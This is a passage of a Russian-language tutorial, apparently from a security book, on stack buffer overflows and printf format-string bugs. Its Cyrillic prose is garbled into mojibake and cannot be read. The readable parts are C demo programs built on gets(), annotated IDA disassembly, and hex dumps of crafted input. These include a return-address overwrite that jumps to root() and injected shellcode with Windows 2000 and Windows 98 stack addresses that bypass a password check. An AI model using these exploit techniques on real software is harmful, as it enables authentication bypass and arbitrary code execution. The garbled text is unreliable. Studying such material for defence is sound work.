樮 ⥬ Windows 95 (Windows 98)  㦥 ࠢ  ⠪ ⠪  १ ஥ ६ ᠥ, ᮡ ᫨ ᮧ  祭 讣 ࠧ, ਬ,    ᥫ ( 設⢮ 㧥஢  ).




㭮 085



⠪  த  ⮬,  ࠭ 㧥   ⠭   ⥬ .  짮⥫    ᨬ쭮 ⨬ ⢮ 뢠   ࠭  ࠧ.



ਫ




孮 뢠 ⥪



O  ⮩ :
O  ९ 
O ﭨ ⥪   맮 㭪樨
O । ࠢ  ணࠬ
O । ࠢ  ᮡ⢥ 
O ࠭祭,        室
:   祫 ?  , ⮬     .  ⮫쪮    ७.     죨,     죨  ࠢ  筮?      ᯮᮡ ஦ ,    .   ࠭  蠥, ⠢   .
 ⥭ भ " ਢ⭨"
⠪, ᭮  訡 ணࠬ ॠ樨, 稫 ப ࠭,   ⥭ᨢ  祭 ६ த 㪫 㢥稢. ஬ ᫮ ணࠬ ᯥ祭,  室  ᨩ -   ਢ  襭 ⢠ ணࠬ   ०  ஢. 設⢮ , ६ ਢ  ॡ⥫, 뢠  뭮  த, <  㬠>    ᯫ樨.  奬 ᮧ    ⥫쭮 諥,  ᯮ 訡 ࠧࠡ稪  ஢  ஭    㤠 㧫 .
  ⨯ ணࠬ 訡 稫  <९ > (buffer overflows).      砥  ᫥饬: ᫨ ணࠬ 뤥  䨪஢ ࠧ     ᪨ ,  㡥, 筮  ᢮    ࠧ饭  ,   ⨢訥    뫥   ࠭    祩 , ᯮ  殬 . ६, ᯮ   祩,  ᪠묨,   ணࠬ ⠭ ।᪠㥬. ᫨  ᯮ  ⥪,   १    㭪樨,  ਢ  । ࠢ  ஢ ࠧࠡ稪 ⮪ !
 맮 㭪樨, । ࠬ஢  ࠧ饭  ६   몠      ⭮ ,   楫 룫廊 ਡ⥫쭮 ⠪:  ⥪  ࠬ,  祭 ॣ-㪠⥫ ⥪ 㬥蠥, .. ⥪    ᮢ  訬 ᠬ; ⥬  ⥪ 頥  樨, ᫥饩   맮 ணࠬ ( ய ਨ Intel 80x86  ⮩ 楫 㦨  CALL)  ࠢ । 뢠 ணࠬ.
祩 ,  ன ࠭  , ᥣ 㯭 뢠 ணࠬ  䨪樨.   ६ ( ⮬ ᫥  ) ᯮ ஬  ,   [306] ⮩ 祩. ਬ, ﭨ ⥪  맮 㭪樨 myfunct() 奬筮  ࠧ ⠪:


 myfunct()

 {

 char a;

 char buff[5];

 char b;

:

}




-饭   ⥪ ন 祥 
-0 A 
-1 buf[0] 
-2 buf[1] 
-3 buf[2] 
-4 buf[3] 
-5 buf[4] 
-6 B 
-7   
-8: ⥪ 㭪樨, 맢襩 myfunt 
⪠   祩 buff[6] ਢ  ᪠  ,  ᫥ 襭 ࠡ 㭪樨 myfunct() ந । ࠢ  ᮢ襭 ஢ ࠧࠡ稪 ⮪  , ᪮॥ ᥣ,   ᠭ.  뫮  , ᫨   ᯮ  ६  祩, ࠭饩  , ,   ⥪ 㦥 , -  ਭ 㭪樨, 맢襩 myfunct.   ஥ ⥪, -   ᭨ ,   .
ਬ, ਢ , 㦨 來 樥 訡 ணࠬ, ⭮   <뢠 ⥪> ( ᪥, ਫ  ,  ᯮ  䠩 "/SRC/buff.demo.c.")


 #include <stdio.h>

 #include <string.h>



 root()

 {

 printf("Hello, Root!\n");

}



 auth()

 {

 char user[10];

 char pass[10];

 printf("Login:"); gets( amp;user[0]);

 printf("Passw:"); gets( amp;pass[0]);

 if (!strcmp( amp;pass[0],"guest"))

 return 1;

 return 0;

}



 main()

 {

 printf("Buffer Overflows Demo\n");

 if (auth())

 printf("Password ok\n");

 else

 printf("Invalid password\n");

}




  , ணࠬ     ࠡ ଠ쭮.  㭪 gets(),  ப  ,    ।⠢  ࠧ 뤥   ,  ਭ    ,    ᨬ  ⪨. ᫨ 짮⥫   ⢥ ᢮  ப, ॢ  ᨬ [307],  <墮>    㭪樨  쭥襥 믮 ணࠬ  .
ਬ, ᫨   ਬ  ࠢ Windows 2000,   ⢥  짮⥫  ப "1234567890qwerty" 樮 ⥬ 뤠 ᫥饥 ᮮ饭, ।   ࠡ ਫ,   ⫠稪 (᫨  ⠭)  ᭥ 稭 ᡮ: <᪫祭 unknown software exception (0xc000001)  ਫ   0x0012ffc0>.




㭮 72  ⥬  ९ 



⨬,  ணࠬ   㭪 (᫮  "root"),  믮 ⢨, 室 諥.    ᯥ樠쭮 ࠭ ப    ⠪ ࠧ, ⮡  ᮮ饭  ࠢ쭮 ࠭ ஫, ࠢ ।   㭪?
 ⢥  ⠪  室     ᯮ  諥 㭪,       ப ࠥ  . ᭨     ᥬ஢  ணࠬ.
ᥬ஢ -  ᫮  ॡ騩  ᫥⥫   ᥬ, ⥪ 樮 ⥬  孨 樨 .  ⮣ ࠧ  ⬮ ࠡ ணࠬ ࠪ᪨ .  ᮦ, ࠪ᪨   , 饭 ᥬ஢, ⮬,  設⢥ 砥 室 ᢠ  ⥬ ᠬ⥫쭮 [308].
, ᪠ , ⠭  ⥫ । 䨪樨,   饣 祭  㯮ॡ塞  ய Intel 80x86.  ⢥ ᥬ ࠭ IDA PRO ⢥⮩ ᨨ [309], ,  ᯮ짮  㣨 㬥⠬, ⠪  SOURCER, W32Dasm   㤮  DumpBin,  ⠢   Windows-஬.
 ᥬ஢ buff.demo.exe   ( ᪥, ਫ  ,  ᯮ  䠩 "/LOG/buff.demo.lst"). ᫥⥫   <ன⢮> 㭪樨 Auth, (     ⮢ ⨭ - ⥬ ⤥쭮 ࠧ).  祭 , ⨭ ᭠ ஡묨 ﬨ.
.text:00401000; Segment type: Pure code
.text:00401000 _text segment para public 'CODE' use32
.text:00401000 assume cs:_text
.text:00401000;org 401000h
.text:00401000 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.text:00401000 Root proc near
.text:00401000; 㭪樨 root ᯮ   0x401000
.text:00401000 push ebp
.text:00401000 ;: 祭 楤 root 祭   
.text:00401000 ;:   맮 筮      ᯮ  
.text:00401000;:  ᯮ    0x401000
.text:00401001 mov ebp, esp
.text:00401003 push offset aHelloRoot; "Hello, Root!\n"
.text:00401008 call _printf
.text:0040100D add esp, 4
.text:00401010 pop ebp
.text:00401011 retn
.text:00401011 Root endp
.text:00401012
.text:00401012; --------------- S U B R O U T I N E ---------------------------------------
.text:00401012
.text:00401012; Attributes: bp-based frame
.text:00401012
.text:00401012 auth proc near; CODE XREF: main+10p
.text:00401012
.text:00401012 var_18 = byte ptr -18h
.text:00401012 var_C = byte ptr -0Ch
.text:00401012;  IDA 砥  ६,   㪠뢠 ⭮⥫쭮 
.text:00401012; ᯮ    ⥪. 
.text:00401012;   맮 㭪樨 㪠⥫ ⥪ 㪠뢠   
.text:00401012 push ebp
.text:00401012;  ⥪  ॣ ebp, 祭 㪠⥫ ⥪ 㬥蠥  4 
.text:00401013 mov ebp, esp
.text:00401013; 뢠  ⥪:
.text:00401013;  ॣ ebp  祭 ॣ 㪠⥫ ⥪ esp.
.text:00401013;  ebp 㤥 ᯮ짮  樨  ६ ⭮⥫쭮   ⥪ 
.text:00401015 sub esp, 18h
.text:00401015; ࢨ 0x18 (24  筮 樨)    ६
.text:00401015;  ࠧ  ஢ ࠢ 10+10=20 ⠬! 㤠 﫨  譨 ? 
.text:00401015 ;  ᪮७ 㯠    ࠧ頥 砫   ஢  ᠬ, 
.text:00401015; ६ ⠬, ⠪ 뢠 ࠢ.
.text:00401015;  ࠧ    ⥪ 룫廊 ⠪:
.text:00401015;
.text:00401015; ⭮⥫  ন 祩
.text:00401015; - 0x18  var_18[0]
.text:00401015; - 0x17  var_18[1]
.text:00401015; - 0x16  var_18[2]
.text:00401015; - 0x15  var_18[3]
.text:00401015; - 0x14  var_18[4]
.text:00401015; - 0x13  var_18[5]
.text:00401015; - 0x12  var_18[6]
.text:00401015; - 0x11  var_18[7]
.text:00401015; - 0x10  var_18[8]
.text:00401015; - 0x0F  var_18[9]
.text:00401015; - 0x0E ઠ  ࠢ
.text:00401015; - 0x0D ઠ  ࠢ
.text:00401015; - 0x0  var_[0] 01
.text:00401015; - 0x0B  var_[1] 02
.text:00401015; - 0x0A  var_[2] 03
.text:00401015; - 0x09  var_[3] 04
.text:00401015; - 0x08  var_[4] 05
.text:00401015; - 0x07  var_[5] 06
.text:00401015; - 0x06  var_[6] 07
.text:00401015; - 0x05  var_[7] 08
.text:00401015; - 0x04  var_[8] 09
.text:00401015; - 0x03  var_[9] 10
.text:00401015; - 0x02 ઠ  ࠢ 11
.text:00401015; - 0x01 ઠ  ࠢ 12
.text:00401015; 0x00 祭 ॣ ebp[0] 13
.text:00401015; + 0x01 祭 ॣ ebp[1] 14
.text:00401015; + 0x02 祭 ॣ ebp[2] 15
.text:00401015; + 0x03 祭 ॣ ebp[3] 16
.text:00401015; + 0x04 祭 ॣ eip[0] ( ) 17
.text:00401015; + 0x05 祭 ॣ eip[1] ( ) 18
.text:00401015; + 0x06 祭 ॣ eip[2] ( ) 19
.text:00401015; + 0x07 祭 ॣ eip[3] ( ) 20
.text:00401015;  ࠧ,   17  20 (   饣 ப)   var_c  
.text:00401015:   ࠭  ⥪. ⥫쭮, ப  ⭠ ᨬ,  
.text:00401015; 騩  맮 䨪 襣   .
.text:00401015; ⠥ ⮦⢨  var_c -   ᮡ ।⠢  짮⥫  ஫?
.text:00401018 push offset aLogin; "Login:"
.text:00401018;  ⥪  ᬥ饭 ப "Login", 祭 㪠⥫ ⥪ 㬥蠥  4
.text:00401018;   ( ⢥) 㬥 㭪樨 printf
.text:0040101D call _printf
.text:0040101D; 뢮  ࠭ ਣ襭 "Login:"
.text:00401022 add esp, 4
.text:00401022; 祭 㪠⥫ ⥪ 㢥稢  , ⮡   ᥭ  ⥪ ᬥ饭
.text:00401025; ப "Login". -㭪樨   ⥪ ᫥ ᢮ 襭
.text:00401025 lea eax, [ebp+var_C]
.text:00401025;  ॣ eax  ᬥ饭  var_c,  ᫥饩 ।  㭪樨 gets, 饩
.text:00401025; ப  .
.text:00401025; ⥫쭮,  var_c ᮤন  짮⥫
.text:00401028 push eax
.text:00401028; 祭 eax   ⥪
.text:00401029 call _gets
.text:00401029; 맮 㭪樨 _gets
.text:0040102E add esp, 4
.text:0040102E;   ᫮  ⥪ ( ⪨ 㬥 㭪樨 gets)
.text:00401031 push offset aPassw; "Passw:"
.text:00401031; ᥭ  ⥪ ப <Passw>
.text:00401036 call _printf
.text:00401036; 뢮 ப "Passw"  ࠭   㭪樨 printf
.text:0040103B add esp, 4
.text:0040103B;   ᫮  ⥪
.text:0040103E lea ecx, [ebp+var_18]
.text:0040103E;  ॣ ecx  ᬥ饭  var_18  ᫥饩 ।  㭪樨 gets,
.text:0040103E; 饩 ப  . ⥫쭮,  var_18 ᮤন ஫
.text:00401041 push ecx
.text:00401041 ; । 㬥 㭪樨 gets
.text:00401042 call _gets
.text:00401042 ; ⥭ ஫   var_18
.text:00401047 add esp, 4
.text:00401047 ; ஢ ⥪
.text:0040104A push offset aGuest; "guest"
.text:0040104A; ᥭ  ⥪ ᬥ饭 ப Guest  ࠢ    ஫
.text:0040104F lea edx, [ebp+var_18]
.text:0040104F;  ॣ edx  ᬥ饭 , ᮤঠ饣  ஫
.text:00401052 push edx
.text:00401052;   誥 ⥪ ᮤঠ  祭
.text:00401052; ᬥ饭 ⠫ ஫  ᬥ饭 , ᮤঠ饣  ஫
.text:00401053 call _strcmp
.text:00401053; 맮 㭪樨 strcmp( amp;pass[0],"Guest")
.text:00401058 add esp, 8
.text:00401058; ஢ ⥪
.text:0040105B test eax, eax
.text:0040105B; 祭, 頥 㭪樥 頥  ॣ eax
.text:0040105B; ᫨  ࠢ ,  ப   
.text:0040105B; ᫨ eax ࠢ ,  test ⠢ 䫠 
.text:0040105D jnz short loc_0_401066
.text:0040105D; ᫨ 䫠  ⠭ (஫  ࠢ "Guest"), 室   401066
.text:0040105F mov eax, 1
.text:0040105F;  ॣ eax  祭 1, ஥ 㤥 饭  室  
.text:00401064 jmp short loc_0_401068
.text:00401064; 室   401068 ( 室  㭪樨)
.text:00401066; ---------------------------------------------------------------------------
.text:00401066
.text:00401066 loc_0_401066:; CODE XREF: auth+4Bj
.text:00401066 xor eax, eax
.text:00401068; 㫨 祭 ॣ eax
.text:00401068 loc_0_401068:; CODE XREF: auth+52j
.text:00401068 mov esp, ebp
.text:00401068; ⠭ 祭 ॣ esp,   㪠뢠  ࠭  ⥪ ॣ ebp
.text:0040106A pop ebp
.text:0040106A; ⠭ ebp
.text:0040106B retn
.text:0040106B;   㭪樨.  retn ᭨  ⥪  ᫮, ஥ 
.text:0040106B; ଠ쭮 ࠧ⨨ ᮡ⨩   ࠢ   (  ਬ 00401081
.text:0040106B; (ᬮ 㭪 main)
.text:0040106B auth endp
.text:0040106B
.text:0040106C
.text:0040106C; --------------- S U B R O U T I N E ---------------------------------------
.text:0040106C
.text:0040106C; Attributes: bp-based frame
.text:0040106C
.text:0040106C main proc near; CODE XREF: start+AFp
.text:0040106C push ebp
.text:0040106C; ᥭ  ⥪ 祭 ॣ ebp
.text:0040106D mov ebp, esp
.text:0040106D; ⨥  ⥪
.text:0040106F push offset aBufferOverflow; "Buffer Overflows Demo\n"
.text:0040106F; ᥭ  ⥪ ᬥ饭 ப " Buffer Overflows Demo"  뢮   ࠭
.text:00401074 call _printf
.text:00401074; 맮 㭪樨 printf("Buffer Overflows Demo\n")
.text:00401079 add esp, 4
.text:00401079; ஢ ⥪ 
.text:0040107C call Auth
.text:0040107C; 맮 㭪樨 Auth().  ⥪   ᫥饩  call , .. 00401081
.text:00401081 test eax, eax
.text:00401081; 㭪 Auth ⨫ 㫥 祭?
.text:00401083 jz short loc_0_401094
.text:00401083; ᫨ 㭪 ⨫ 㫥 祭 ३   401094
.text:00401085 push offset aPasswordOk; "Password ok\n"
.text:00401085; ᥭ  ⥪ ᬥ饭 ப <Password Ok" 
.text:0040108A call _printf
.text:0040108A; 맮 㭪樨 printf("Password OK\n");
.text:0040108F add esp, 4
.text:0040108F; ஢ ⥪
.text:00401092 jmp short loc_0_4010A1
.text:00401092; 室   4010A1
.text:00401094; ---------------------------------------------------------------------------
.text:00401094
.text:00401094 loc_0_401094:; CODE XREF: main+17j
.text:00401094 push offset aInvalidPasswor; "Invalid password\n"
.text:00401094; ᥭ  ⥪ ப " Invalid password"
.text:00401099 call _printf
.text:00401099; 맮 㭪樨 printf("Invalid password\n")
.text:0040109E add esp, 4
.text:0040109E; ஢ ⥪
.text:004010A1
.text:004010A1 loc_0_4010A1:; CODE XREF: main+26j
.text:004010A1 pop ebp
.text:004010A1; ⠭ ebp
.text:004010A2 retn
.text:004010A2; 襭 ணࠬ
:
.text:004010A2 main endp
.data:00406030 aHelloRoot db 'Hello, Root!',0Ah,0; DATA XREF:.text:00401003o
.data:0040603E align 4
.data:00406040 aLogin db 'Login:',0; DATA XREF: auth+6o
.data:00406047 align 4
.data:00406048 aPassw db 'Passw:',0; DATA XREF: auth+1Fo
.data:0040604F align 4
.data:00406050 aGuest db 'guest',0; DATA XREF: auth+38o
.data:00406056 align 4
.data:00406058 aBufferOverflow db 'Buffer Overflows Demo',0Ah,0; DATA XREF: main+3o
.data:0040606F align 4
.data:00406070 aPasswordOk db 'Password ok',0Ah,0; DATA XREF: main+19o
.data:0040607D align 4
.data:00406080 aInvalidPasswor db 'Invalid password',0Ah,0; DATA XREF: main+28o







   ⠭,  ᪮ 㭪 ᯮ  , ࠢ 0x401000,  ⭠ ᨬ  짮⥫ ࠥ 騬 ப 㫥 訩   .
 । ࠢ  㭪 root() 室      . ᪮,  , 㦥 ᮤঠ騩  ⥪, ࠢ 0401081,   㭪樨 root() ࠢ 0x401000,  ⨦ ⠢ 楫 筮 ᥣ  㫨 訩 . ᫨  ப  16 ᨬ (  ), 騩   ਤ  ࠧ  訩  ࠭  ⥪ ॣ EIP   retn । ࠢ  㭪 root().
 - 0x0 user[0] 01 X
 - 0x0B user[1] 02 X
 - 0x0A user[2] 03 X
 - 0x09 user[3] 04 X
 - 0x08 user[4] 05 X
 - 0x07 user[5] 06 X
 - 0x06 user[6] 07 X
 - 0x05 user[7] 08 X
 - 0x04 user[8] 09 X
 - 0x03 user[9] 10 X
 - 0x02 ઠ 11 X
 - 0x01 ઠ 12 X
 0x00 ebp[0] 13 X
 + 0x01 ebp[1] 14 X
 + 0x02 ebp[2] 15 X
 + 0x03 ebp[3] 16 X
 + 0x04 eip[0] 81 17 0
 + 0x05 eip[1] 10 18
 + 0x06 eip[2] 40 19
 + 0x07 eip[3] 00 20
᫨    짮⥫ , ਬ, ⠪ ப,   ࠭ 뤠 ਢ⢨ "Hello, Root!", ⢥ত騥 䠪 । ࠢ 㭪樨 root(),   뫮 ।ᬮ७ ࠧࠡ稪.
 ࠧ  ᫥ 襭 㭪樨 root(), ணࠬ 堥,  樮 ⥬ 뤠 ᮮ饭  ᪫⥫쭮 樨, ।  ࠡ ਫ (ᬮ 㭮 073). ( 樮 ⥬   ᠬ 樮 ⥬,     Windows 2000)




㭮 073  樮 ⥬     ᮬ 㭪樨 Root



᪫祭 ந室 - 襭 ஢ ⥪, -  । ।祩 ࠢ 㭪樨 Root,  ⥪   ᥭ  !   retn,  ப 0x401011, " " ⮣, ᭨  ⥪ ࢮ 襥  < >  ᫮  ।   ࠢ.
᫨   <⬥>, 樮 ⥬  ⫠稪 (筮,  ᫮,   ⠭  ⥬). ⥪, ᬮ७   ,  룫拉 ᫥騬 ࠧ ( ⥪, ਭ 㭪樨 start()  , ᪮   砥  ।⠢  ):
 0012FF74 7 8787878 ?   짮⥫ 
 0012FF78 78787878 ? 뫮: ॣ EBP, ࠭ 㭪樥 Auth; ⠫   짮⥫ 
 0012FF7C 00401000 ? 뫮:    㭪樨 auth, ⠫:  㭪樨 root
 0012FF80 0012FFC0 ? 祭 ॣ EBP, ࠭ 㭪樥 main
 0012FF84 00401262 ?    㭪樨 main
   ⥪ 室    楤 "main" (0x401262),   ᫥ 祭 ॣ EBP (0x12FFC0), ࠭  㭪樨 main()  PUSH EBP  ப 040106C, ⥬  ஢    㭪樨 "Auth" (0x401000),   ᯮ , ᮤঠ騩  짮⥫.
 室  㭪樨 Auth()  retn ᭨  ᫮  ⥪ (ࠢ ⥯ 0x401000)  ।   ࠢ.   室  㭪樨 root()  retn   ᫮, ࠢ 0x12FFC0,  ।   ࠢ.  ⮬  室 砩 , ⮬  ணࠬ ⠭ ।᪠㥬.
   㬥蠥 稬 ⮣ 䠪,  㭪 Root 稫 ࠢ (祣   ந  ଠ쭮 室 饩)  뫠 ᯥ譮 믮. ਩ 襭 ਫ -  䥪 ⠪ 樨.  ਢ  ஢ , ᪨ ⠪饣    ⥬ ⠭,     ந諮, ⮬ ⠪ 室    ਥ.
஬ ⮣,   䠪,   ⠪㥬  ᥣ 㤥 ⢮ 㭪, 㤮⢮ ॡ 諥.    । ࠢ  ᢮ !  ⮣ 筮 ᪮४஢   ⠪ ࠧ, ⮡  㪠뢠  砫 [310] , ᮤঠ饣  짮⥫ ப.   ப ⠭ ஢  設   믮 אַ  ⥪ (  ய    樮 ᪠ 믮   ⥪,   饬 設⢥ 砥 ⠪  ).
 ⮣ ⮡ । ࠢ  砫  室   . ᥬ஢  ⮬   , ᪮   ।⠢  祭 ॣ ESP   맮 ணࠬ, ⮬ 室 ᯮ짮 ⫠稪.   Windows  ᥡ ४ Soft-Ice  NuMega,   ᯥਬ⮢, 뢠  ,    ⫠稪, ⥣஢  Microsoft Visual Studio.
⠭  ⠭  ப 0x0401028, 室  ணࠬ  믮 ,  <ᯫ> ⫠稪,  ᬮ  祭 ॣ EAX. ।  ⮫쪮  ᫠    , ।祭    짮⥫.  Windows 2000  ࠢ 0x12FF6C,   Windows 98 - 0x63FDE4.  ந室  ⮩ 稭,   ࠭ ⥪  ࠧ 樮 ⥬ ࠧ. ⮬, ணࠬ ॠ樨 ⠪  ⨯ 祭 ⢨⥫  ᯮ㥬 ଥ.
  ᥬ   ஢ (    ॣ EBP  ਤ) 祭 㤭 ⮫ , 騩  , ,  饬 設⢥ 砥  ⠪㥬 ணࠬ   ࠧ 襣 ࠧ.   樨 ਭ樯쭮  । ᢮ ᮡ⢥   ࢥ,  筮 믮   "MOV EAX,1",   ॣ EAX 㫥 祭. , ᨬ   ஫, ⥭䨪樨 㤥  ᯥ譮, :
 if (auth())
 printf("Password ok\n");
 else
 printf("Invalid password\n");







ப, । ࠢ  砫   짮⥫,  Windows 2000  ⭠筮 ।⠢  룫拉 ⠪: "???????????????????????????????? 6C FF 12",   Windows 98 (Windows 95) ⠪: "???????????????????????????????? E4 FD 63".
  "MOV EAX, const" ࠢ "B8 x x x x",  "x" 砥   ⠭. , ਬ, "MOV EAX, 0x31323334"  ⭠筮 ।⠢ 룫廊 ⠪: "B8 34 33 32 31".
 ࠢ ᭮ ⥫ ணࠬ  ⢮ ᯮᮡ, ਬ, ᯮ짮  室 JMP.   "JMP label" 㤮  饭, ᪮  ய ਨ Intel 80x86 ⪠ ।⠢ ᮡ ⭮⥫쭮 ᬥ饭, 뢠   ᫥饩  JMP . .. ᯮ ⥪ (      JMP)   ᨬ  樮 ⥬,  祭   ⥬-ᨬ. ⮬,  ᯮ짮 ॣ஢ 樥: "JMP reg",  reg - 32-ࠧ來 ॣ 饣 祭.
  ।   ப   । ࠭祭. ਬ,     ᨬ , ⮬  MOV REG, 0x00401081 [311]" ᯮ짮  .  襭 ⮩ ஡ 室  ॣ 㦥 ᮤঠ騩   襬 .   ⫠稪 㤭 㡥,  訥 16  ॣ ECX ࠢ "0x40", ⮬ ⠥ ᪮४஢ 襥 ᫮  MOV CX,0x1018.  १ 砥 ᫥騩 :


 MOV EAX,0x31323334

 MOV CX, 0x1081

 JMP ECX




ॢ ᥬ ⨭  設  , ਬ,   ⨫ HIEW, ।⥫쭮 ॢ   32 ࠧ來 ०. ᫨  ᤥ ࠢ쭮,  १ ࠡ   ᫥饥:
 00000000: B834333231 mov eax,031323334;"1234"
 00000005: 66B98110 mov cx,01081;">?"
 00000009: FFE1 jmp ecx
 ப,  室    짮⥫  ⭠筮 ।⠢  룫廊 ⠪: "B8 34 33 32 31 66 B9 81 10 FF E1?????????? 6C FF 12 [312]",  "??"  .    ᨬ  ।⢥   , ⮬ 室 ਡ    Alt.
㣮 ᯮᮡ 砥  ᯮ짮 ७ࠢ .  ⮣ 室 ᮧ 䠩 ਡ⥫쭮 ᫥饣 ᮤঠ ( ᪥, ਫ  ,  ᯮ  ४ਨ "/SRC"  뢠 "buff.demo.2000.key")
 00000000: B8 34 33 32 31 66 B9 81  10 FF E1 66 66 66 66 66 4321f> fffff
 00000010: 6C FF 12 0D 0A 0D 0A  l d0d0
 ⮨   ப, 蠥 ᫥⥫쭮 <CRLF>, ।⠢ ᮡ  짮⥫  ஫.  ᪠  室 ᫥騬 ࠧ: "buff.demo.exe <buff.demo.2000.key". ᫥ 襭 ࠡ ணࠬ ࠭  룫拉 ਡ⥫쭮 ⠪:
 F:\TPNA\src>buff.demo.exe
 Buffer Overflows Demo
 Login:1234f^P 12345l ^R
 Passw:
 Password ok
 ࠧ, 訡 ணࠬ ਢ   । ࠢ   諥    ஭  ⥬   ⠤ ⥭䨪樨! ,  ᨨ UNIX ᮤঠ 訡 ९     짮⥫  ஫, ⮬ ᬮ७  ਬ 㤭  㬠.
᪮,  ᪥ ணࠬ - Windows 98,   짮⥫ ᯮ  㣮 ,  室 ᪮४஢    0x12FF6C  0x63FDE4 (,  Windows 98  ࠡ⠥  Alt  ⢥   ப - ᯮ짮 ७ࠢ ):
 00000000: B8 34 33 32 31 66 B9 81  10 FF E1 66 66 66 66 66 4321f> fffff
 00000010: E4 FD 63 0D 0A 0D 0A  l d0d0
  ⪥  ⠪ ப ந室 ਩ ⨥ ਫ. ⫠稪  ⠭,  ࠢ 砥  ॡ㥬 ,  -  . 뢠, 樮 ⥬ Windows 98  ᮤন ⥪, ᯮ  㪠⥫ (..   ).     ଠ, ᪮ ࠭ , 饩  㪠⥫ ⥪  ࠭. ᯥਬ⠫쭮 㤠 ⠭,   0x63FDE8 稭 ᯮ祭 <祪> ⥪,  ਣ  ࠧ饭 .
   ॠ権 ⠪, ࠡ饩  ࠢ Windows 98,   ( ᪥, ਫ  ,  ᮤন  䠩 "/SRC/buff.demo.98.key"):
 00000000: 31 32 33 34 B8 01 02 03  04 66 B9 81 10 FF E1 31 1234OOf> 1
 00000010: E8 FD 63 0D 0A 31 32 33  34 0D 0A cd01234d0
   砫 ப - ந.  室  ⥬, ⮡ ᬥ ᯮ塞   騩 ॣ ⥪. ⢥⢥ 室 ᪮४஢  , । ࠢ   砫  (஥  ),     ᯮ塞 .
 ਢ १ ᯮ짮 ⠪ ப  ࠢ Windows 98.  ࠡ⠥! ( ७ࠢ ,  ப  ⮡ࠦ  ࠭, ⮬   ஫ ):
 buff.demo.exe <buff.demo.98.key
 Buffer Overflows Demo
 Login:Passw:Password ok
 ।饭 ९  ணࠬ⠬ ४ ᯮ짮 㭪樨, 騥  㪠뢠 ᨬ쭮 ⢮ 뢠   ᨬ.   ਥ ᠬ  ᥡ   ࠭ 梨 ਫ. ਬ,  ਬ, ਢ ,        ଠ쭮 ( ᪥, ਫ  ,  ਬ ᮤন  䠩 "/SRC/buff.printf.c"):


 #include <string.h>



 void main()

 {

 FILE *psw;

 char buff[32];

 char user[16];

 char pass[16];

 char _pass[16];



 printf("printf bug demo\n");

 if (!(psw=fopen("buff.psw","r"))) return;

 fgets( amp;_pass[0],8,psw);



 printf("Login:");fgets( amp;user[0],12,stdin);

 printf("Passw:");fgets( amp;pass[0],12,stdin);



 if (strcmp( amp;pass[0], amp;_pass[0]))

 sprintf( amp;buff[0],"Invalid password: %s", amp;pass[0]);

 else

 sprintf( amp;buff[0],"Password ok\n");



 printf( amp;buff[0]);



}




 ப, ⠥   , ⠪   䠩 ஫, ࠭஢   ⢥       ⥫⢠      ࠭.  ᫮,   諥  㯠  䠩 "buff.psw", ᮤঠ饣 ஫ 짮⥫ [313],    ᬮ   [314]. ,  ⪥ ப 㤭 訡,     .
宫᪠      ࠧ. , ,  ⮫쪮 ࠧࠡ稪, ,  ⮬ ᫥,  諥, ᪮ ⨯ ⠪, ᠭ ,  稫 讣 ࠭. ⮬,   ਫ, 騥 饭묨,   ᮤঠ  訡, 騥   ⭮ ஭  ⥬.
   <让 >  㭪樨 "printf", ୥  室    ⭮ 㭪樨 (⮣       ࠭),   ᠬ 몥 .    ⪮ 砥  ⮬,  㭪   । ᪮쪮  뫮 । ࠬ஢. ⮬, 㭪  ६ ⢮ 㬥⮢, 室 - ࠧ ।  ᫮  ᠬ 㬥⮢.
㭪 "printf" ᯮ  ⮩ 楫 ப ᯥ䨪஢,   맮  룫拉, ਬ, ⠪: "printf("Name: %s\nAge: %d\nIndex: %x\n", amp;s[0],age,index)". ⢮ ᯥ䨪஢   ࠢ  । 㭪樨 ६.   ந, ᫨ ࠢᨥ ?
  ਠ - ६ , 祬 ᯥ䨪஢  ६ , 祬 ᯥ䨪஢.  ⢮ ᯥ䨪஢  ॢ蠥 ⢠ । ࠬ஢,  ந室 祣 ᭮, ᪮,  ⥪ 㬥 㤠  ᠬ 㭪樥,  뢠騬   (  猪 , ᪮쪮 㬥⮢ 뫮 ।) ࠧ஢ ⥪  ந室   ࠡ⠥ ଠ쭮.  ᫨ ⢮ ᯥ䨪஢ ॢ蠥 ⢮ ॡ㥬 㬥⮢, 㭪,   । 㬥,   <㦨> ! ⭮       ᮤন ⥪   맮 㭪樨 "printf".
 㤥 ᬮ७   ਬ ᫥饩 ணࠬ ( ᪥, ਫ  ,  室  䠩 "/SRC/printf.bug"):


 #include <stdio.h>



 main()

 {

 int a=0x666;

 int b=0x777;

 printf("%x %x\n",a);



}






᫨  ⪮஢   Microsoft Visual Studio 5.0-6.0, १ ࠡ  ᫥騩:



 666 777



ணࠬ 뤠  ᫠, ᬮ  ,   । ᥣ  ६ 'a'.   ࠧ  㬥  祭 'b'? (  ⮬,  '777'  ⢨⥫쭮 祭 ६ 'b' ᮬ  室). ⢥     ᥬ஢:
.text:00401000 main proc near.text:00401000
.text:00401000 var_8 = dword ptr -8
.text:00401000 var_4 = dword ptr -4
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401001; 뢠  ⥪ 
.text:00401003 sub esp, 8
.text:00401003; ⭮⥫쭮 祭 esp ࠢ 0 (᫮)
.text:00401006 mov [ebp+var_4], 666h
.text:00401006 ; var_4 -  ६ a,   ᯮ  ⥪
.text:0040100D mov [ebp+var_8], 777h
.text:0040100D ; var_8 -  ६ b
.text:00401014 mov eax, [ebp+var_4]
.text:00401014 ;  ॣ eax 㦠 祭 ६ 'a'  ।  㭪樨 printf 
.text:00401017 push eax
.text:00401017 ; ⥪  祭 ६ eax 
.text:00401018 push offset aXX; "%x %x\n"
.text:00401018;  ⥪  㪠⥫  ப ᯥ䨪஢
.text:00401018; ন ⥪    ⠪
.text:00401018; +8 off aXX ('%x %x') (ப ᯥ䨪஢) 
.text:00401018; +4 var_4 ('a') (㬥 㭪樨 printf) 
.text:00401018; 0 var_8 ('b') (쭠 ६) 
.text:00401018; -4 var_4 ('a') (쭠 ६) 
.text:0040101D call printf
.text:0040101D; 맮 㭪樨 printf 
.text:00401022 add esp, 8
.text:00401022; ⠫ 㬥⮢ 㭪樨  ⥪
.text:00401025 mov esp, ebp
.text:00401025; ⨥  ⥪
.text:00401027 pop ebp
.text:00401028 retn
.text:00401028 main endp
⠪, ᮤন ⥪   맮 㭪樨 printf ⠪ (ᬮ ਨ  ᥬ஢ ⨭) [315]:
 +8 off aXX ('%x %x') (ப ᯥ䨪஢)

 +4 var_4 ('a') (㬥 㭪樨 printf)

